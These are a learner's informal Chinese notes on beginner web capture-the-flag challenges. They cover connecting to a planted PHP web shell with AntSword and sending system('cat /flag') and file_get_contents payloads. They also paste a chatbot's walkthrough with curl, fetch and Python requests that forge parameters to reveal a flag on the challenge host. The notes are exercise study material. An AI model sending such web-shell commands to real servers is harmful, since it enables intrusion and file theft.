1
虽然找到了flag,但是我要怎么去改他的代码,让他直接输出flag呢?
(好像是要得到他的json代码,这题不让看)
2
wllm应该就是他的密码,进入许可了
意思是服务器可以执行通过POST的请求方式传入参数为wllm的命令,那这就是典型的命令执行,当然,也可以使用蚁剑或者菜刀连接这个木马
antsword
右键直接连接
在根目录下就有一个flag藏着
hackbar
ctrl+u查看源码,好看一点
wllm=var_dump(file_get_contents("/flag"));
wllm=system('cat /flag');
两种源码
var_dump()函数用于输出变量的相关信息
file_get_contents()函数用于读取文件
3
强大的ai
进来可以看见就是源码
gpt给的答案
这段 PHP 代码主要用于处理两个输入参数 (
id
和json
),并在满足特定条件时输出一个变量$flag
的内容。以下是代码逐行分析:
1.
highlight_file('index.php');
- 作用: 这行代码会将当前文件 (
index.php
) 的内容以高亮的形式输出到网页上。- 用途: 通常用于调试,或者作为一个挑战(比如 CTF),让用户能看到代码内容。
2.
include("flag.php");
- 作用: 包含一个名为
flag.php
的文件。- 隐患: 如果
flag.php
文件被泄露或包含敏感信息(比如$flag
的定义),可能会导致漏洞。- 假设
flag.php
文件的内容类似于:php
复制代码
<?php $flag = "FLAG{example_flag}"; ?>
3.
$id=$_POST['id'];
- 作用: 从 HTTP POST 请求中获取参数
id
的值并赋值给$id
。- 隐患: 如果未对输入进行校验,可能会导致不安全的行为,但此处代码仅比较字符串,暂未看到明显漏洞。
4.
$json=json_decode($_GET['json'],true);
- 作用: 从 HTTP GET 请求中获取参数
json
的值,并将其作为 JSON 解码为 PHP 数组,存储到$json
变量中。- 隐患: 如果解码失败(如传入的不是合法的 JSON),
$json
将是null
,这可能导致后续代码错误。
5.
if ($id=="wllmNB"&&$json['x']=="wllm")
- 作用: 检查
$id
和$json['x']
是否同时满足指定条件:
$id
的值必须是字符串"wllmNB"
;$json['x']
的值必须是字符串"wllm"
。
6.
{echo $flag;}
- 作用: 如果条件满足,则输出
$flag
的内容。
总结分析
功能:
- 脚本的作用是输出
$flag
,前提是满足条件$id == "wllmNB"
和$json['x'] == "wllm"
。潜在漏洞:
- 文件包含敏感数据: 如果
flag.php
的内容意外暴露,攻击者可能直接获取到$flag
。- 未验证的用户输入:
- 虽然
json_decode()
是一种解析输入的方法,但其行为依赖于用户传入的 JSON 数据,如果攻击者能够构造合法的 JSON,可能绕过其他限制。- 代码逻辑过于简单: 一旦攻击者了解了判断逻辑,直接伪造请求即可拿到
$flag
。如何利用:
- 构造一个 POST 请求,其中
id="wllmNB"
。- 构造一个 GET 请求,其中
json={"x":"wllm"}
。- 请求示例:
bash
复制代码
或者:
POST /index.php?id=wllmNB&json={"x":"wllm"}
perl
复制代码
curl -X POST -d "id=wllmNB" "http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D"
建议改进:
- 避免在源码中直接输出敏感信息。
- 使用更加复杂的验证逻辑,避免简单暴力的字符串匹配。
- 针对用户输入的 JSON 数据和 POST 数据增加验证,确保不会被伪造请求绕过。
真猛,我的天
1. 使用
curl
命令行工具
curl
是一个非常强大的命令行工具,用于发送 HTTP 请求。构造 POST 请求
bash
复制代码
curl -X POST -d "id=wllmNB" "http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D"
解释
-X POST
指定 HTTP 方法为 POST。-d "id=wllmNB"
指定 POST 的数据(id=wllmNB
)。http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D
json=%7B%22x%22%3A%22wllm%22%7D
是 URL 编码的 JSON 参数{"x":"wllm"}
。
2. 使用 Postman
Postman 是一个用户友好的界面工具,非常适合测试 HTTP 请求。
步骤
下载并安装 Postman.
创建一个新请求。
设置请求方式为
POST
。在 URL 栏中输入目标地址,例如:
arduino
复制代码
http://example.com/index.php
在请求参数部分:
- Body: 选择 x-www-form-urlencoded。
- 添加键值对:
id = wllmNB
。在 Query Params 添加键值对:
json = {"x":"wllm"}
。点击 Send,观察返回结果。
3. 使用浏览器控制台
你也可以在浏览器的开发者工具中发送请求。
步骤
- 打开浏览器,按
F12
或右键选择 检查,进入开发者工具。- 转到 Console(控制台)。
- 输入以下代码:
javascript
复制代码
fetch('http://example.com/index.php?json={"x":"wllm"}', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'id=wllmNB' }).then(response => response.text()).then(data => console.log(data));
- 按回车,观察控制台输出的返回结果。
4. 使用 Python (Requests 库)
如果你熟悉 Python,可以用
requests
库发送请求。代码示例
python
复制代码
import requests url = "http://example.com/index.php" params = {"json": '{"x":"wllm"}'} data = {"id": "wllmNB"} response = requests.post(url, params=params, data=data) print(response.text)
运行
- 确保安装了
requests
:pip install requests
。- 运行上述代码。
推荐工具
- 如果你熟悉命令行,使用 curl。
- 如果需要可视化界面,使用 Postman。
- 如果你是开发者,推荐使用 Python 的 Requests 库或浏览器控制台。
试一下
这...
ai强大
curl -X POST -d "id=wllmNB" "http://node7.anna.nssctf.cn:21519?json=%7B%22x%22%3A%22wllm%22%7D"
import requests
url = "http://node7.anna.nssctf.cn:21519/"
params = {"json": '{"x":"wllm"}'}
data = {"id": "wllmNB"}
response = requests.post(url, params=params, data=data)
print(response.text)
fetch('http://node7.anna.nssctf.cn:21519?json={"x":"wllm"}', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'id=wllmNB' }).then(response => response.text()).then(data => console.log(data));
猛!三个传参的办法
后面再学,今天先摆~